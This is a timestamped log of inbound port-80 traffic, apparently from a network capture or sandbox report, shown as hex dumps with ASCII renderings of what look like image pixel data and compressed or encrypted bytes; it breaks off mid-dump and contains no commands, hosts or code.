2023-01-18 08:13:40 UTC	80	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c 83 0b 00 7d 84 5e 00 7e 85 bf 00 80 87 fe 00 82 8a ff 00 84 8c ff 00 86 8f ff 00 88 91 ff 00 8b 94 ff 00 8d 96 ff 00 8f 98 ff 00 91 9a ff 00 93 9c ff 00 95 9f ff 00 97 a1 ff 00 99 a3 ff 00 9a a5 ff 00 9c a7 ff 00 9e a9 ff 00 a0 ab ff 00 a2 ad ff 00 a3 af ff 25 a2 b4 ff 31 a1 b6 ff 1c 5b 67 ff 00 00 00 ff 00 00 00 ff 00 00 Data Ascii: \|}^~%1[g
2023-01-18 08:13:41 UTC	96	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-01-18 08:13:41 UTC	112	IN	Data Raw: c8 ce 9e 09 cf fc 4b 1c 93 9f 6e 14 c1 3e ed 54 71 5e 16 16 24 16 da de 3d e1 a9 47 c4 31 da 26 fd 7b d9 1f 44 b1 44 45 4c fc a8 05 cb bf 3c 84 bb 00 77 11 d5 ff bf e2 22 59 d5 25 a1 c9 1f 6d 66 25 db a6 2c 94 3d 8d e3 be 2b 39 b2 c7 46 d5 d1 e3 e4 74 f5 71 78 9b 83 ae 43 6a 09 fa 15 15 47 14 19 f9 35 38 b3 ba 91 65 2e c1 72 15 61 7a 0f b7 fb a2 18 db 76 c0 37 be 23 66 eb c6 2d a1 31 f2 a8 d9 76 36 9b 78 f8 bb 16 8b 40 83 b4 ee 87 8e 48 c0 54 74 79 07 0e 8a 30 5d 77 a5 f4 a5 57 94 88 e9 9e 95 91 bc 1e b9 b9 e2 54 4b 0b 29 9b 5e 3d c4 c7 b0 7a 1d ec de 23 9e 78 a5 a4 15 3d f7 4c 29 7b d2 d8 90 30 45 3d fc 86 82 61 43 24 35 77 e9 31 a9 8b 52 a2 4c c2 ff d3 fe 03 12 53 f0 f8 d3 91 91 03 bf 3f f2 5f 8e 19 59 df 64 1e 3e 44 2c 9a 03 87 64 74 a3 ba 26 74 5c 12 Data Ascii: Kn>Tq^$=G1&{DDEL<w"Y%mf%,=+9FtqxCjG58e.razv7#f-1v6x@HTty0]wWTK)^=z#x=L){0E=aC$5w1RLS?_Yd>D,dt&t\
2023-01-18 08:13:41 UTC	128	IN	Data Raw: ff 00 9c a6 ff 00 9f aa ff 04 a5 ae ff 88 7e 80 ff 65 99 97 ff 06 ae b8 ff 00 ae bb ff 00 b0 bd ff 00 b2 bf ff 00 b3 c0 ff 00 b2 c0 ff 00 b1 be ff 00 af bc ff 00 ad ba ff 00 ab b8 ff 00 a9 b6 ff 00 a7 b3 ff 00 84 8d ff 00 69 71 ff 00 89 93 ff 00 9f aa ff 00 72 7a ff 00 83 8c ff 00 99 a4 ff 00 48 4d ff 00 83 8c ff 00 41 45 ff 00 20 22 ff 00 44 49 ff 00 7f 87 ff 00 8a 93 ff 00 2e 31 ff 00 79 81 ff 00 3f 43 ff 00 44 49 ff 00 99 a3 ff 00 9f aa ff 00 75 7e ff 00 4a 4f ff 00 a7 b3 ff 00 aa b5 ff 00 ac b8 ff 00 af bb ff 00 b1 be ff 00 b4 c1 ff 00 b7 c4 ff 00 b9 c7 fb 00 bb c9 b3 00 bc ca 53 00 bd cb 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8f 00 6a Data Ascii: ~eiqrzHMAE "DI.1y?CDIu~JOSj
2023-01-18 08:13:41 UTC	144	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 84 06 00 7f 86 4c 00 81 89 ad 00 85 8d f6 00 8a 93 ff 00 90 99 ff 00 95 9f ff 00 9a a5 ff 21 a0 b1 ff 0a 22 26 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 01 01 01 ff 1f 1f 1f ff 14 14 14 ff 18 4e 58 ff 31 a1 b6 87 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c 83 00 00 7e 85 18 00 80 87 71 00 83 8b d2 00 87 90 ff 00 8d 96 ff 12 96 a4 ff 1c 5b 67 ff 00 00 00 ff 00 00 Data Ascii: }L!"&NX1\|~q[g
2023-01-18 08:13:42 UTC	160	IN	Data Raw: 86 70 29 b9 f6 97 ed eb 24 06 22 f6 22 4e f4 b9 05 7f e8 b5 dc ab 4c 9d 5e f4 aa 3f 90 6b 85 6f 84 cd b0 9e 8d c4 d0 0d 44 53 77 fb 9c f5 3a ed ea b5 1f 95 3d 8d 55 a6 79 50 5e 82 fc 19 4d c0 0d 3f 50 ea e0 fd f0 ef a0 8a 7e 8f c6 d6 81 17 44 59 d9 69 27 6d dc 82 55 af 69 4e fc fd c6 ec cd 9d 04 36 84 42 a2 58 83 2b 28 04 1c 5b d5 ab 31 f4 2c 3f 91 8b ba 68 bf 8d 31 0a 90 27 b5 50 b0 9f 0a 8b 9a 07 62 07 19 c1 61 05 c7 f0 31 92 d0 2d ce d8 3d 7a 0e dc a7 d9 2b 38 b8 80 88 0c 36 a2 97 0d 97 25 b5 42 82 63 63 a5 c6 db 34 1d d4 65 e3 b7 8f 58 c2 dc 61 ba 7e 06 43 19 5a e0 9d 16 97 f4 9b a6 27 07 c3 99 d2 d6 ae 95 5c 7e 85 19 b4 31 4f a8 8e 6d 69 c5 80 d7 7b 70 49 d3 29 15 b1 ac 41 40 0e fd b8 f7 e2 da 1a a4 c6 64 f8 e3 fe 0c 9c de d2 00 84 82 5a 21 da f0 ea Data Ascii: p)$""NL^?koDSw:=UyP^M?P~DYi'mUiN6BX+([1,?h1'Pba1-=z+86%Bcc4eXa~CZ'\~1Omi{pI)A@dZ!
2023-01-18 08:13:42 UTC	176	IN	Data Raw: dc 31 45 9f 19 57 33 3f e5 94 36 b3 81 0f f0 b6 70 54 7f b1 ab 89 96 4f 3c 39 b5 55 01 12 d8 0a da 63 76 99 c3 18 cc 67 8d 4a 48 36 20 21 aa e8 f5 4b 05 ba 87 da 9f 78 7d c2 5d 3c cd 87 c9 9f d3 d8 a2 07 6b 92 1e 81 e0 89 5c 07 ec e3 f7 2c 9c f7 96 97 4b d8 04 a6 ed c8 f2 74 e7 01 e4 4e 69 16 e0 e9 ba 95 f9 35 08 82 5f d6 32 70 e2 6e cc ef 98 22 14 21 55 b2 5c c5 86 fb b8 ca 15 dc 99 ff db e1 a8 20 ce e7 80 85 56 ce 3c f2 ac d9 f8 75 40 1e 8e 0f 0e 70 35 27 64 c9 91 c3 b1 b1 9c 5a eb 4e 0f 93 49 63 11 f7 62 3d 43 9a c9 e6 5a d0 59 75 da 5e b4 5b fc cd 07 45 95 8d f1 c1 45 97 5f b6 9b 63 11 0e f4 40 ac 63 3d e9 5c dd 4e 7b 8a 1c 78 e4 80 39 15 c9 be 13 7d 14 9a c0 dc b3 ff 61 2d e0 3a e9 06 ff f9 4c 95 36 1c d4 f2 33 53 45 02 f4 21 82 13 8c af 74 40 98 de Data Ascii: 1EW3?6pTO<9UcvgJH6 !Kx}]<k\,KtNi5_2pn"!U\ V<u@p5'dZNIcb=CZYu^[EE_c@c=\N{x9}a-:L63SE!t@
2023-01-18 08:13:42 UTC	192	IN	Data Raw: e4 57 41 b4 e0 c1 a3 77 62 db 73 8a 5c ac d3 d5 b5 02 bf bc e2 43 1d d1 85 4a fa ff 29 c2 ba 89 fa 10 f1 a6 e3 67 08 85 66 e9 b0 45 ae 76 83 ed 6d cd 92 da 61 33 0a 69 5f e3 00 67 b5 d4 e8 87 fa 40 b0 d6 02 a0 55 17 27 a1 67 dc 5f 84 fd b8 12 c5 c8 b9 8a 4e 3c a6 35 02 2d 53 cb 7b e5 8a d4 3b 39 1a 14 f5 93 75 db 9a 06 18 43 df f5 c9 70 36 eb 32 5b 72 53 a5 72 76 8d 3e f6 6c 5f 27 76 5c 05 85 11 4d 20 22 e3 2d 45 ea 71 d8 5c 07 44 9e 61 a6 88 b3 8e 14 1a d9 52 20 52 e6 fc 5b fe 87 ed 89 34 ef 5a 96 bc 7e 5a ce 05 30 db 13 85 7c ef d9 1f 45 7a 9c 73 02 7e 09 65 0a b4 77 5c 54 9e 83 41 31 19 5d f0 44 61 e7 39 22 41 bb c8 c7 a0 62 07 a4 4e 25 24 80 a0 81 11 2d 65 03 d9 05 cb b4 da 85 e6 80 33 2e 0a 1e 3a a7 75 e4 65 74 90 93 ce ea 7e a2 14 a9 a8 c3 60 a7 aa Data Ascii: WAwbs\CJ)gfEvma3i_g@U'g_N<5-S{;9uCp62[rSrv>l_'v\M "-Eq\DaR R[4Z~Z0\|Ezs~ew\TA1]Da9"AbN%$-e3.:uet~`
2023-01-18 08:13:42 UTC	208	IN	Data Raw: f1 93 d5 6f 9f f9 96 72 3b bf b1 7b de fc 07 d9 64 a8 a9 91 5d 76 4b e9 7d f5 1d 6a 2f 12 2f 50 60 82 f7 45 21 59 26 3d ca f2 d0 f6 40 d2 0e 25 39 47 08 f1 35 98 9b 9f 25 5e 20 75 a6 e8 06 c6 73 ea df 97 2a 37 5b 47 8c b3 4a 7f 4c db 5d 97 d7 a5 e6 60 ae 7a a9 1a e2 32 bd e3 88 ed 9d fb 3f 77 74 5a f8 31 5f a3 03 94 18 ec a5 fb 4e 87 cd a5 db 44 86 de 09 24 e4 0e d3 6f 65 ad fb 73 fb 87 e6 b1 f4 81 e6 67 fc 1f c0 8f 6a f8 29 0f 0e 93 58 24 70 5e a4 95 56 e9 19 c8 ef 48 d5 e1 a5 92 ab b2 91 f7 4e 35 34 12 65 e8 9b 65 cc c4 b0 a8 19 29 7e e1 3c 24 43 6a ed 21 47 d0 02 94 1c 5f 29 83 fd 11 f4 1a 9e 6c 6b a1 12 17 14 89 3b 14 da f9 5b 26 fe b8 9a 19 a1 44 41 a3 4e ef ac 6d 48 06 a0 c3 93 12 12 1d 76 9f 9b 79 fc f4 ef ac d2 bc 3e 8e c7 8f 0a 59 c6 77 03 ca 40 Data Ascii: or;{d]vK}j//P`E!Y&=@%9G5%^ us*7[GJL]`z2?wtZ1_ND$oesgj)X$p^VHN54ee)~<$Cj!G_)lk;[&DANmHvy>Yw@
2023-01-18 08:13:42 UTC	224	IN	Data Raw: 21 13 bf 4c 91 49 8f 19 b8 14 bc ea 7f 63 5e de 00 7b 86 f0 81 41 24 ad 77 7f 8d 26 20 a9 07 be 73 1a 16 fa 6f 1a c7 22 d4 70 4e 6a 2a e7 38 ec 12 03 9c 7a 9e 82 48 9e 16 35 9e ff 39 7d a6 53 76 c9 60 b6 be 33 42 a0 fa 39 92 b3 3b 8e b5 ac 7f b9 a9 07 f1 7e 93 29 60 37 e5 a9 01 1d a5 24 2a 25 9c 8c fb 6d a4 58 61 6c a1 af 30 43 54 4e 2d 80 98 23 1b 35 f3 3d 55 a0 7b ab 58 76 e5 a6 21 25 78 12 22 5b f7 e6 93 94 3f 47 ed d2 d2 a5 f5 b7 99 3b 33 73 49 6c 19 61 3e d7 11 66 91 5e 41 e1 46 c3 ed d0 d0 53 5b f3 15 c6 d3 37 1b 51 57 bb 11 2b 20 9c 93 d5 38 a8 b6 f4 33 4d c1 16 6b 1a e4 84 d2 cf 00 d9 5f e1 40 e5 2c 5b 84 bf c4 d0 f0 18 a4 25 64 69 0d 25 95 61 e1 44 09 1f 4b 53 7c e1 ce 98 5f d8 49 35 01 93 2e f3 39 59 81 28 5e aa 31 d4 3d 55 f0 4d 39 08 d6 29 3a Data Ascii: !LIc^{A$w& so"pNj8zH59}Sv`3B9;~)`7$%mXal0CTN-#5=U{Xv!%x"[?G;3sIla>f^AFS[7QW+ 83Mk_@,[%di%aDKS\|_I5.9Y(^1=UM9):
2023-01-18 08:13:43 UTC	240	IN	Data Raw: 86 f3 f4 e1 2d a6 fb 36 fa 3d 78 93 4c 13 5c 9a b9 b9 7b 1d ee c3 7e 87 2a dd 1e 21 d0 41 c5 e6 26 35 47 1b d4 07 42 c4 05 29 73 f8 e2 cf 75 d3 d0 82 49 94 aa 69 0c f0 a8 30 6a ba f5 64 57 6f 21 8b 5a 2f 27 dd c9 13 16 a0 5d 0e 04 77 34 ce e3 f5 ea 93 81 ba f3 86 a1 35 16 5e 97 0e 39 8b bd ad f4 d4 6c e0 64 d4 3e 57 50 eb d3 3a 7b 3d 2e 19 ec dd b5 46 71 4b fe ea b8 78 41 18 f5 e2 fd e2 7b 8b bb 9e bd 71 dc 97 ab 07 8e 00 03 98 3f dc 8f e7 5c 83 94 c1 99 03 f6 70 55 3f 4a 8a 60 14 3e 25 79 39 39 48 57 d6 1c 8c 89 f5 2e 57 be 12 16 77 db 5a 0b 2f 6e ac 45 5e 1b 20 b0 61 b5 5a d9 3e 09 fc 58 c2 2f 6b 8d b4 2b cc c5 96 1b ea f9 88 0f b2 0c 68 42 3f 4f 80 4e 27 5a ef 93 68 6a e0 5a 6a 84 9a fb d3 3c ff 41 41 12 06 95 89 18 0f fb 69 f7 e6 c2 f3 53 92 0f 02 c1 Data Ascii: -6=xL\{~*!A&5GB)suIi0jdWo!Z/']w45^9ld>WP:{=.FqKxA{q?\pU?J`>%y99HW.WwZ/nE^ aZ>X/k+hB?ON'ZhjZj<AAiS
2023-01-18 08:13:43 UTC	256	IN	Data Raw: d5 3f c3 4b f1 8c 65 0e 0a 81 65 76 6e 45 19 65 9b ca 7b bd 8a 4d 6c 3c 11 22 17 0c 4b 28 77 54 c3 4f 73 b7 ce fb 10 47 17 04 83 cf 6a 91 a0 f3 54 7d d8 d1 6c de bd a3 32 1a 54 fc db 79 24 ea 5c 0a 74 93 bf 01 a7 a3 45 8f e8 05 a9 f8 10 21 47 69 e8 b9 e4 1b 00 b5 62 60 95 e4 85 25 d4 1c a2 cc e8 51 43 93 27 81 3f f4 62 2e 38 4f 57 6a a1 1a 52 e6 be 13 f2 1b f3 0d c4 4f 26 5f b7 2e d9 aa 5d 59 04 d6 72 b6 ae cc 59 89 b6 c8 27 cd d2 98 57 8d 90 ee e8 fa b1 34 60 ac c6 36 f4 1e c9 33 e0 6f ad 63 08 33 79 71 0e 30 8a 6c be b1 e0 4f 7d c0 43 78 d5 a5 69 82 f9 8f 27 f8 1c aa d7 96 f5 a9 72 e1 28 b8 c8 07 59 d7 f3 49 4d df 39 a5 a2 29 92 c0 c3 be bc 9f 23 87 b0 11 77 8f 17 29 c2 81 95 a8 11 b4 9d 77 65 bc 93 e5 46 ef 56 39 f4 e8 5a 13 32 2a ec e7 79 4d 9d e1 d5 Data Ascii: ?KeevnEe{Ml<"K(wTOsGjT}l2Ty$\tE!Gib`%QC'?b.8OWjRO&_.]YrY'W4`63oc3yq0lO}Cxi'r(YIM9)#w)weFV9Z2*yM
2023-01-18 08:13:43 UTC	272	IN	Data Raw: fc 04 8d 55 c9 d1 87 4e f2 7d ec 63 aa 38 03 f2 df 44 28 9f 1c c7 83 ee 0e 5a 38 65 29 fd f2 68 69 fd f0 7d ae 12 82 25 e4 84 2c d0 e9 46 3b 03 f7 c8 dd d5 47 eb 91 34 14 cb 57 0d 59 33 e5 0b 52 9f 25 cf ce 09 2d 43 de db b8 f6 df 49 ce c9 cc c1 3f a3 86 15 2c be 84 3f 80 04 9a 99 0c 24 82 b8 96 81 7a 71 ad 32 d1 78 ca 2c cd d8 7b f5 58 b3 82 6b 4a cc ee 00 01 32 09 cf 44 7d 84 95 36 dd 34 45 f4 53 c3 3d 9a 7c 5b 28 6c 6c 84 ff 31 39 db ca 87 55 a2 57 50 90 a5 fd 3b 5f a1 d7 ac c6 bc 08 aa 4c 07 c3 08 7d b2 a4 59 e4 bb c6 2e 7e db ee 0c 0f 20 69 1c 86 08 dc 5a 1d bf e5 ab b5 71 4e 1c 24 b1 5c 0f cc 20 4f 70 ac 21 7a bf df e6 f7 ac 5d 17 1f 87 1b 7e ef 66 d3 86 0a d2 3d ee 60 4c 77 50 42 12 d7 e9 fd 78 ff 32 fc 21 cd cc 05 a9 c4 02 fb c3 41 9e a8 2a 95 ef Data Ascii: UN}c8D(Z8e)hi}%,F;G4WY3R%-CI?,?$zq2x,{XkJ2D}64ES=\|[(ll19UWP;_L}Y.~ iZqN$\ Op!z]~f=`LwPBx2!A*
2023-01-18 08:13:43 UTC	288	IN	Data Raw: ad f2 0a f0 d2 67 dd 56 34 29 f4 ce 02 24 ac 5c 72 b5 14 13 6a 00 6a c1 04 68 ce a5 84 dc d5 2c 23 f3 92 de c7 91 93 16 0e 7f b6 f7 e9 17 6e 03 f6 33 17 ba 44 f6 98 2c 5d 4a 67 3e d1 e9 5b 85 79 4d 7c 96 76 9a 65 c7 b5 2a 3a e0 95 50 39 09 98 a4 fe 6a 55 dd 54 0c b8 3a c3 56 8a 89 5a 4d 99 88 e7 90 87 2d c6 93 13 b2 64 cc ec fb a6 fe 74 d7 00 aa 4e b5 64 a8 66 e5 64 0a 7e a6 6c cf 90 a0 20 4f 87 1c 66 28 85 d1 bd f1 96 fd 40 d0 59 ae f3 b0 32 88 db 53 d2 c0 e3 0c e1 e4 61 82 b6 a1 ea 2b 9c d6 d8 26 90 07 9c 19 dc 62 65 67 7a d8 0f 9b c0 94 e3 0d 40 fe 7d d8 43 72 0c 21 c2 fe 6f a8 6f 8b 6c 9f eb fc 99 99 81 44 3d 05 fc d4 2a 92 e2 7c a6 a4 95 86 ef 13 c7 92 69 97 83 1e d3 b2 18 fb 34 9d 0c 74 6d 2d 67 cf 30 ae 56 fe d8 f4 ab 48 53 4d 5f d3 4a a3 48 e9 10 Data Ascii: gV4)$\rjjh,#n3D,]Jg>[yM\|ve:P9jUT:VZM-dtNdfd~l Of(@Y2Sa+&begz@}Cr!oolD=\|i4tm-g0VHSM_JH
2023-01-18 08:13:44 UTC	304	IN	Data Raw: ad d0 3f 7f 45 c5 8a 0e 58 a6 61 f6 8e 44 49 a5 66 00 94 52 c8 a0 4e b7 92 12 ab 69 52 84 d5 1f a4 2b c3 18 4d 14 48 b7 6d ef 08 45 12 8b a9 a8 7f 32 d6 88 ce 91 70 7e 85 92 a7 12 60 bc 20 79 63 97 72 2d ea 5d 71 b3 52 b3 3f 4d bf 86 70 55 55 b5 b1 f9 b1 d9 ef fc fc 53 97 19 a4 e0 b2 33 7b 87 23 f9 b7 33 d1 2b 8b d1 bd 6d 24 59 ec 5f 54 d8 af eb 6a 64 19 10 bd 54 ac bc 1c df e7 d1 9f 33 02 bc 4e d3 d6 25 55 bd bc e0 bb b6 4c b8 cd e0 50 e1 5c 82 98 c0 0a 96 03 93 15 2a 6c 14 8b 5b 84 b4 61 86 12 e6 de 8f 6c ed e4 da bd a6 a0 61 df e8 32 29 c5 87 7c ce 49 52 d7 51 2b 64 fe 81 6b 03 2d e0 3d ad 50 5f eb 44 78 68 b1 ce c5 71 f5 85 8e c0 36 03 d3 9c d0 65 d5 a5 df 50 bf 01 95 67 9d 87 c5 82 40 19 42 9f 78 78 6f 1d 0f 27 6c c0 82 ab 4c f0 fd 05 97 31 2b 0c fa Data Ascii: ?EXaDIfRNiR+MHmE2p~` ycr-]qR?MpUUS3{#3+m$Y_TjdT3N%ULP\*l[ala2)\|IRQ+dk-=P_Dxhq6ePg@Bxxo'lL1+
2023-01-18 08:13:44 UTC	320	IN	Data Raw: e8 c2 c9 17 e4 f1 8c 46 14 2a 66 2d 07 0f 7e 8a f3 38 cd 76 cb da 4b ce 71 92 f8 52 22 a1 a3 f3 82 2d 4c ea f9 23 06 8f 34 51 ea 19 ae 10 6a e9 84 61 1e 25 eb 78 aa 06 03 22 e6 cd 21 c8 73 4d 24 19 02 63 a4 4b 0e 3b f6 28 a4 38 6f 83 46 c7 5e 2a e4 54 7c 68 af 36 fb 65 20 5c 88 d5 2d 02 d0 c3 6d ec de c6 f4 d0 e6 80 c0 74 f8 c1 1d bf d2 2c 5e 36 6e b1 22 bd aa 9e 4c 86 6e 9f 0c e3 62 b8 7d d2 00 f7 66 f6 87 5c ef c0 c3 d5 5a bb db 10 13 de 6d c0 15 cc bc cf ad 05 2f 48 03 e3 d4 ca 3c 8f 09 c5 b2 52 26 26 7d 6d d4 85 95 ce d9 80 dc 56 e5 cb 26 c0 24 70 ca 9e 9a d3 da 75 81 59 b2 5b 64 46 1f 6e a4 aa f3 a8 03 c3 dc 4e f4 77 98 16 b7 7a f8 f3 36 01 17 51 f1 75 df 23 db 6b fd bf 9e 97 52 86 44 f0 9e e0 34 17 c4 0b b2 42 75 7a a3 99 7c 63 39 d1 8f e5 40 63 7c Data Ascii: Ff-~8vKqR"-L#4Qja%x"!sM$cK;(8oF^T\|h6e \-mt,^6n"Lnb}f\Zm/H<R&&}mV&$puY[dFnNwz6Qu#kRD4Buz\|c9@c\|
2023-01-18 08:13:44 UTC	336	IN	Data Raw: 54 19 23 e6 c7 79 2c a5 43 e5 cb ca db a0 fb 72 9f 95 1e 55 88 6e cf 15 59 03 99 27 11 2a c0 38 0c b9 e4 82 81 13 ac 12 0d b3 60 b2 17 83 f0 ff 01 51 f3 9f a5 13 8b aa 94 2d 91 97 3c 1a 54 be 02 25 85 dc 0f b4 1a f5 48 8f a0 83 e0 0d a7 bb 4d 2f a0 95 c7 c6 9f 7e 17 2c e5 06 d7 75 f4 85 37 7b 81 2f c4 3e a6 ee 9d 69 89 ec 9c b3 ce 7a f4 ba 5d 59 ce d5 6d 53 25 63 8f 8c 17 fa bf 1a 7f aa 7d 5f 88 ea 17 e0 10 a7 46 eb 91 32 37 e8 06 3f 71 ed 26 cb 5c e8 ea 8f 6a 8f 1f 54 e0 05 fc dd ee 77 60 8d f8 95 3e 71 d7 b9 54 34 5f 79 45 25 7b bf d1 e2 72 a6 d1 f7 ed 8e f3 68 bf 69 c6 77 ab 53 c4 dd 86 89 c4 2b dc ef 59 be f5 36 03 4f 98 73 a5 1f 11 a8 03 6e d3 b0 2f 2d 18 44 c0 99 e7 e4 21 60 ae 9c d2 e3 8f 75 70 3e 23 1a 5a 4b 37 fd 88 cd f9 d4 10 e3 bc d4 c0 3b ce Data Ascii: T#y,CrUnY'*8`Q-<T%HM/~,u7{/>iz]YmS%c}_F27?q&\jTw`>qT4_yE%{rhiwS+Y6Osn/-D!`up>#ZK7;
2023-01-18 08:13:44 UTC	352	IN	Data Raw: 47 05 b0 78 2a 3e b9 79 6c c9 48 07 75 11 7e b5 ea bb 29 3e 93 5e a8 d8 75 5f 64 89 62 d9 59 85 ad eb 31 43 d9 a7 c4 d2 8e 92 ad 8e d5 f4 8b dc bd 36 52 b8 7c 69 10 da b5 90 60 0b 06 76 0a c1 be 26 af 8d 42 18 d4 bb 7f fd 76 f9 fd 49 2b 89 c3 99 6d 96 96 6b e7 9d d3 03 c2 2f a8 9a f6 47 e3 92 23 c1 f4 c8 11 ab df d2 b2 0f 4c 22 b8 cb 37 13 e0 30 d9 0d d8 ea 0f f6 20 4e 80 23 a9 9f 36 fe a5 89 3f 6c c6 bb 64 06 df 44 78 78 4d 9e 9c 6b 79 7a 34 f3 ee de e7 a8 f8 f0 cc 64 ac 53 a2 95 46 93 6e 21 0a db 38 6c 31 fa da d2 4d 39 08 20 fe 7f 64 e7 df e4 67 7e a2 6b ab 7a 75 7a 9d fc 4d 2d c0 74 88 87 f4 5e 23 d0 9d 82 a3 af f7 c8 e3 cf 64 f9 29 93 65 e0 db 96 be 2a 09 6b 53 1e 60 01 b1 98 fa 2b f0 1a 34 33 73 d5 7a b9 4f 5f 4c 66 11 27 d4 05 5b 37 b4 49 ea 33 07 Data Ascii: Gx>ylHu~)>^u_dbY1C6R\|i`v&BvI+mk/G#L"70 N#6?ldDxxMkyz4dSFn!8l1M9 dg~kzuzM-t^#d)ekS`+43szO_Lf'[7I3
2023-01-18 08:13:44 UTC	368	IN	Data Raw: 0f 23 de 65 9f 06 04 ea 75 a9 47 66 c2 0e 54 5d 81 a6 ff 62 98 ac a3 43 f0 87 eb fb 44 63 4e b1 07 db d6 a8 86 6c 32 3e 5d b7 bb 89 64 cd 55 3e c0 99 fb f5 92 6d 41 0d d7 6e 4f 3a 99 ba ce c5 00 f9 20 5f da 77 e1 c2 cc 09 9a 0d 02 05 b6 14 13 0f db 81 7f 3a 56 ef 5b c9 a7 50 2c 9d 29 d9 3a 29 f6 6f 03 ea 21 a7 ab 8f d7 92 9d 61 59 67 5f 68 ba 70 0f 43 9c 2b fa 1e 9d 13 72 9a 65 ce c0 d8 78 83 11 cb 02 a7 3c 98 86 8e ee a5 48 dc 4a 3e c0 cc 32 f4 db 1d ac 36 21 c8 0e 4a 08 49 c8 92 3f 57 83 9e 4d 82 1d ff 7a 7b f2 a6 fc 66 c0 35 f9 70 b3 c4 04 9b 1f 63 70 ed 1c b5 99 76 27 23 1f 24 b6 3b 94 91 7b 53 4f 4e 11 85 40 cd 81 93 5d 84 b1 13 4a 09 9c 6d 15 85 32 7b e7 3a 1f 12 2f 7b 06 86 f1 ac 27 73 a7 21 b8 6e 36 09 93 82 06 ce 1d 0e 19 b8 6f 82 47 13 e0 18 42 Data Ascii: #euGfT]bCDcNl2>]dU>mAnO: _w:V[P,):)o!aYg_hpC+rex<HJ>26!JI?WMz{f5pcpv'#$;{SON@]Jm2{:/{'s!n6oGB
2023-01-18 08:13:45 UTC	384	IN	Data Raw: 42 bd b0 96 c0 6a 0c 20 65 fb b2 15 3f 21 a3 31 2c 49 35 73 fb 7e 52 cd 4f f1 c1 96 ea 4d 8b 98 37 c7 63 c6 ae 30 cf 62 95 3c 12 b6 5c ea c2 72 b1 6d 35 77 b9 5c be 2b 29 b4 65 44 d4 1d bd 31 70 f7 a9 e1 8b e2 51 9b 77 ab c1 58 fe e8 0e bf 0e 3d aa d7 35 45 64 b8 b6 fe 01 70 12 ec c2 6b cb 2a 89 9b 8d b2 34 2e ae af e8 74 34 0d c7 bc b7 fc 8b 38 b9 6a ea de 17 3a 71 75 39 93 7a 9e 17 04 ba 93 1e 87 f5 22 38 38 93 dd ce 3f f8 0a 82 80 ea ce 66 53 bd 48 74 a8 19 8b d2 bc 23 cc 65 9f c8 14 e9 ea 70 5f f4 c8 ca 40 a9 fb ed b0 c4 d1 de 99 2c 25 ed 96 cb f4 21 f8 0d ce 8a 88 9f 89 4b 6d e9 f9 75 30 c0 07 c5 32 f3 24 2b 00 ea 2d 14 6f dc 63 b0 fa 40 ad 65 52 d5 d1 26 79 af 5e 67 b3 96 b6 97 32 06 71 51 ef 51 3f 34 d6 86 34 fd 7e 8f 4d a9 51 e7 3e a6 6a 2d b9 bb Data Ascii: Bj e?!1,I5s~ROM7c0b<\rm5w\+)eD1pQwX=5Edpk*4.t48j:qu9z"88?fSHt#ep_@,%!Kmu02$+-oc@eR&y^g2qQQ?44~MQ>j-
2023-01-18 08:13:45 UTC	400	IN	Data Raw: 17 a0 c9 46 11 1f ac 67 27 74 8a a8 bf ed a0 93 7a c5 17 ac 9c 86 d1 ce b4 13 91 dc bc df e6 1c 12 cb 0b 7c 43 7b 49 e7 bd 17 19 07 e6 ce d7 b7 de a5 14 85 08 4f 2b ac d8 2e 19 75 f7 ed bb a8 27 5c 29 37 50 db 1c a6 05 78 4e f8 94 e1 cf 8e 7d c9 f9 ee 63 61 91 a6 6b 42 4d d0 03 3a a2 c4 ba a4 3e de 5e c3 b6 8e 82 54 8c c3 a8 c6 72 40 0f e3 bc 0b 80 ea d0 f7 7f 41 fc e1 da b8 6a ea b7 c3 f2 5d 40 79 47 59 8c 2e 43 8a 5c db d8 1a ac c8 12 9a d1 cf ca 68 b2 24 99 a8 2e d6 1c 1b ac ff 1d a2 6a be 54 08 ba 47 19 6e 1f 89 2d af de bd 58 e6 81 dd 58 25 18 41 cc 87 4c 75 37 03 66 16 da 01 7f f7 b8 0d 2c 2b 4e c8 bf e7 39 90 29 c0 13 cf a0 ea 2c 0b 17 c0 